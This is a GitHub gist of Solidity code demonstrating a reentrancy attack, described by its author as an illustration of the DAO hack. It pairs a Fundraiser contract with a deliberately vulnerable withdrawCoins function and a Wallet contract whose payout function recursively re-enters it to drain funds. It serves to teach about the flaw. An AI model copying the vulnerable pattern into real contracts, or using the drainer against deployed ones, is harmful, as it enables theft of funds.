Skip to content

Instantly share code, notes, and snippets.

@nodlAndHodl
Created February 21, 2022 22:27
Show Gist options
  • Save nodlAndHodl/ab8f39390da38db26cb11f907c315feb to your computer and use it in GitHub Desktop.
Save nodlAndHodl/ab8f39390da38db26cb11f907c315feb to your computer and use it in GitHub Desktop.
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.4.26+commit.4563c3fc.js&optimize=false&runs=200&gist=
pragma solidity ^0.4.24;
contract Fundraiser {
mapping(address=>uint) balances;
// VULNERABLE
function withdrawCoins(){
uint withdrawAmount = balances[msg.sender];
Wallet wallet = Wallet(msg.sender);
wallet.payout.value(withdrawAmount)();
// this line is not reached before the next recursion!!
balances[msg.sender] = 0;
}
function getBalance() constant returns (uint) {
return address(this).balance;
}
function contribute() payable {
balances[msg.sender] += msg.value;
}
function() payable {
}
}
contract Wallet {
Fundraiser fundraiser;
uint recursion=20;
function Wallet(address fundraiserAddress) {
fundraiser = Fundraiser(fundraiserAddress);
}
function contribute(uint amount) {
fundraiser.contribute.value(amount)();
}
function withdraw(){
fundraiser.withdrawCoins();
}
function getBalance() constant returns (uint) {
return address(this).balance;
}
function payout() payable {
// exploit
if(recursion>0) {
recursion--;
fundraiser.withdrawCoins();
}
}
function() payable {
}
}
@nodlAndHodl
Copy link
Author

Example of how the DAO contract was hacked, leading to the loss of ethereum.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment